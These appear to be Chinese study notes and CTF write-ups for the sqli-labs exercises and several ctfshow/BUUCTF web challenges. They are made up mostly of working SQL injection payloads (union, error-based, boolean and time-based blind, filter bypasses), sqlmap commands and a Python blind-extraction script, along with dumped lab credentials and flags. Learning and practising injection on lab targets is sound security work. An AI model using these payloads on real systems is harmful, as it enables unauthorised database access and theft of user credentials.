page1-sqli-labs
Less1(GET-Error based - Single quotes -String)
简介:(单引号+字符型注入)
方法一:手工UNION联合查询注入
1.注入点测试 ?id=1' 错误 则说明存在注入点
-
判断是字符型注入还是数字型注入
-
是字符型
-
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27order%20by%203--+
-
三个
-
注意 id=非正确值
-
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27union%20select%201,database(),3--+
-
得到‘security’库名
-
得到表名
-
爆字段
-
爆值
-
注意最后users无引号
方法二:手工报错型注入
?id=1' and 1=1--+ //正确
?id=1' and 1=2--+ //失败
-
注意id=正确值
-
爆表
-
在ASCII码表中,0x7e这个十六进制数代表符号~
-
爆列名(字段)payload
-
没有完全显示
使用 and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login') 来显示其他值:
-
爆值
-
同样使用not in显示其他值
方法三:sqlmap工具自动注入
检测可注入类型
四种可以注入的方法,分别是get型注入,报错注入,时间盲注,联合查询注入
获取数据库
-
python sqlmap.py -u 网址 --dbs
解释:-u(--url)指的是url,即网址, --dbs是指数据库
获取表
python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"表名" --tables
获取列名
python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"数据名" -T"表名" --columns -v3
//-v3:显示payload
获取字段信息
python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"数据库名" -T"表名" -C"列名" --dump -v3
Less2(GET-Error based - intiger based)
简介:(整型注入)
1.判断是否存在注入点
?id' 报错 说明存在注入点
2.判断注入类型
?id=1%20and%201=1
?id=1%20and%201=2
界面不同,说明是数字型注入
3.判断回显位
/?id=-1%20union%20select%201,2,3--+
4.查询数据库
/?id=-1%20union%20select%201,database(),3--+
security
5.查询数据库表名
?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
相当于查询数据库为security下的表名
emails,referers,uagents,users
6.查询数据库表的列名
?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+
USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password
7.爆字段
?id=-1%20union%20select%201,group_concat(username),group_concat(password)%20from%20users--+
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
8.爆数据
?id=-1%20union%20select%201,username,password%20from%20users%20where%20id=1--+
Your Login name:Dumb Your Password:Dumb
?id=-1%20union%20select%201,username,password%20from%20users%20where%20id=2--+
Your Login name:Angelina Your Password:I-kill-you
Less3(GET-Error based - Single quotes -String)
简介:(单引号+括号+字符型注入)
?id=1%27)%20order%20by%203--+
?id=-1%27)%20union%20select%201,database(),3--+
?id=-1%27)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
?id=-1%27)%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+
?id=-1%27)%20union%20select%201,username,password%20from%20users%20where%20id=1--+
Less4(GET-Error based - Double Quotes String)
简介:(双引号+ )+字符型注入)
?id=1")%20order%20by%203--+
?id=-1")%20union%20select%201,database(),3--+
Less-5 GET - Double Injection - Single Quotes - String
(双注入GET单引号字符型注入)
(69条消息) sqli-lab教程——1-35通关Writeup_地址ch3nye.top的博客-CSDN博客
http://127.0.0.1/sqli-labs-master/Less-5/?id=1
第一反应就是布尔型盲注、报错型注入、时间延迟型盲注了
时间延迟型的盲注:
?id=1' and sleep(5)--+
发现明显延迟,说明猜测正确。接下来的思路是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段。
布尔型和时间延迟型盲注建议采用sqlmap去跑。
其实本题不能称作盲注,因为存在回显,真正的盲注时不存在回显的,只能根据浏览器加载页面情况,判定是否注入成功。
方法一:时间延迟型手工注入:
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。
时间延迟型和报错型payload核心部分的构造相同
本方法中payload = ?id=1' and if(报错型payload核心部分,sleep(5),1)--+
?id=1%27%20and%20if(length(database())=8,sleep(5),1)--+
?id=1%27%20and%20if(left(database(),1)=%27s%27,sleep(5),1)--+
left(database(),8)='security'
爆表名
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
终于在limit 3,1 爆破出user表名为users.
爆列名
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值。
爆破值payload
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
方法二,布尔型手工注入:
在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1
手工注入时可使用例如left((select database()),1)<'t' 这样的比较二分查找方法快速爆破。
方法三,使用concat聚合函数
简单的说,使用聚合函数进行双注入查询时,会在错误信息中显示一部分错误信息。
比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
爆库
?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
//或者
?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
//注意本本方法具有随机性,原理待研究
爆用户
?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+
爆表名
?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
修改limit x,1 可以遍历表名,找到user这个表,猜测它存放username和password
爆列名
?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
修改limit x,1 可以遍历列名,找到username和password列
爆字段
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
修改limit x,1 可以显示第x个用户的password和username (‘[’是分隔符)
注入结束。
Less-9
第九关会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
Less-11
从第十一关开始,可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面。前十关使用的是get请求,参数都体现在url上面,而从十一关开始是post请求,参数是在表单里面。我们可以直接在输入框进行注入就行。并且参数不在是一个还是两个。根据前面的认识我们可以猜测sql语句。大概的形式应该是这样username=参数 and password=参数 ,只是不知道是字符型还是整数型。
当我们输入1时出现错误图片 当我们输入1',出现报错信息。根据报错信息可以推断该sql语句username='参数' and password='参数'
知道sql语句我们可以构造一个恒成立的sql语句,看的查询出什么。这里我们使用--+注释就不行,需要换成#来注释, 这个就和我们第一关是一样了。使用联合注入就可以获取数据库信息。
1‘ or 1=1#
1' union select 1,2#
1' union select 1,database()#
Less-17
page-2
Less-21
bp抓包-发现uname是base64编码
所以
编码
得到数据库
补充:查看闭合方式是 ‘)
查看编码格式是base64,所以用base64编码进行注入
注入得到回显位
Less-22
查看源码
发现跟第21题差不多,但是此时的闭合方式发生变化
所以将注入语句进行编码得到
得到回显位
Less-24
(69条消息) 二次注入——sqli-labs第24关ihszg的博客-CSDN博客sqlilabs 24
sqli-labs 通关指南:Less 24 - 乌漆WhiteMoon - 博客园 (cnblogs.com)
SQLi-Labs学习笔记 - joy_nick - 博客园 (cnblogs.com)
二次注入--从注册出发,因为只是后端将代码进行了转义,而数据库并没有--所以在输入框输入进行第一次注入失败--所以进行第二次注入,这次直接进入数据库中
例如我注册 admin' # 密码:123456
此时数据库中
再次登录,同时修改密码,会发现admin的密码被修改
这里24关的php文件损坏,就了解原理和做法即可。
Less-25
(70条消息) Sqli-labs——lesson25(联合查询和报错注入,附各种sql万能密码)Shock397的博客-CSDN博客sql注入25关
BUUCTF-[第一章 web入门]SQL注入-2
看了别人的wp后,我自己尝试做一遍
1.题目提示访问/login.php和user.php,因为user.php什么都没有,访问login.php进入一个登录界面
2.查看源代码
<!-- 如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦-->
3.开启bp
输入网址,注意后面直接是?tips=1,没有/
4.c+r发送到repeater,发现账号不存在
5.输入
name=1' and updatexml(1,concat(0x7e,(select 1 from dual)),1) --+&passs=suibian
报错
string(166) "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'from dual)),1)-- '' at line 1"
{"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
发现是把select过滤掉了,所以把select大小写改变一下,发现正常响应
string(24) "XPATH syntax error: '~1'" {"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
6.爆表名
name=1' and updatexml(1,concat(0x7e,(sElEct table_name from information_schema.tables where table_schema=database())),1)--+&pass=a
响应
string(33) "XPATH syntax error: '~fl4g,users'" {"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
所以得到两个数据库名,得到fl4g
7.爆列表
name=1' and updatexml(1,concat(0x7e,(sElEct group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)--+&pass=a
响应
string(27) "XPATH syntax error: '~flag'"
{"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
得到flag字段
8.查看flag字段
name=1' and updatexml(1,concat(0x7e,(sElEct flag from fl4g )),1)--+&pass=a
响应
string(49) "XPATH syntax error: '~n1book{login_sqli_is_nice}'"
{"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
得到flag
CTF web2
题目:
涉及考点:
基本的sql注入
解题过程:
-
从登录里进行sql注入
-
输入随意的账号密码,用bp抓包
-
并没有正确回显
-
所以进行sql注入
-
使用万能密码,登陆成功
-
下面获取flag
-
判断回显位 为2
-
查数据库 数据库为web2
-
查表名
-
进入flag表,查列名 为flag
-
查字段为flag,由此获得flag
ctfshow{77cbf5af-36ea-42f4-82d1-656e6120a101}
CTF web6
题目:
考察要点:
sql注入--waf注入里的--替换
解题过程:
-
先输入万能密码:
-
bp抓包
-
得到如下结果:
username=a%27+or+1%3D1&password=a
-
分析得,是将空格过滤了
-
空格被注释掉了,所以要把被注释掉的空格给替换了,一般空格被过滤了有这些替换:/**/,(),回车(url编码中的%0a),`(tab键上面的键),两个空格
-
这里用%0a
-
得到
-
剩下得步骤和上一题一样,继续爆表就行
-
ps:这里想着偷个懒用sqlmap扫,发现
-
所以我还是手工注入吧
-
最终得到flag
-
但这个flag是错的
-
建议以后还是不要用%0a或其它代替了,还是用/**/吧
-
得到flag
-
ctfshow{36250f39-e298-4ecf-a430-580b0e8a6682}
CTF web7
题目详情:
题目分析:
题目打开是三个网页,每个打开上面都有?id=1 ,所以判断是sql注入。做完题后发现还有waf绕过的空格过滤问题。还有单引号过滤问题(不知道这个是真没看出来的,可能就是因为web6刚考过?)
解题过程:
-
学习到一个?id=1||1 ,可以将三个网页的内容放在一起显示出来。
-
判断回显位并绕过空格
-
?id=1||1//union//select/**/1,2,3#
-
回显位是2,3
-
查库--web7
-
查表
?id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=%27web7%27#
发现这里单引号被过滤成%27
?id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema="web7"#
但发现如果使用“ ”,就成功绕过。
得到表名
-
查列
?id=-1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"#
得到
flag
-
查字段
?id=-1/**/union/**/select/**/1,flag,3/**/from/**/flag#
-
得flag
ctfshow{9cc63353-7836-42eb-8163-d1f26d0e83db}
CTF web8
题目分析:
该题考的是sql注入,但该题过滤了逗号,and,union,空格。
解题过程:
-
判断注入类型:
?id=-1/**/or/**/true
?id=-1/**/or/**/false
页面返回不同结果,故是数字型注入。
-
接下来进行脱库, 由于盲注脱库比较复杂, 此处我们构造Python脚本进行自动化脱库, 注意payload中的字符串不要换行, 否则可能会出问题
import requests
url = 'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/'
name = ''
# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
# 获取当前使用的数据库
# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
# 获取当前数据库的所有表
# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
# 获取flag表的字段
# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
# 获取flag表的数据
payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在获取第 %d 个字符' % i)
# 截取SQL查询结果的每个字符, 并判断字符内容
for j in range(31, 128):
result = requests.get(url + payload % (i, j))
if 'If' in result.text:
name += chr(j)
print('数据库名/表名/字段名/数据: %s' % name)
break
# 如果某个字符不存在,则停止程序
count += 1
if count >= (128 - 31):
exit()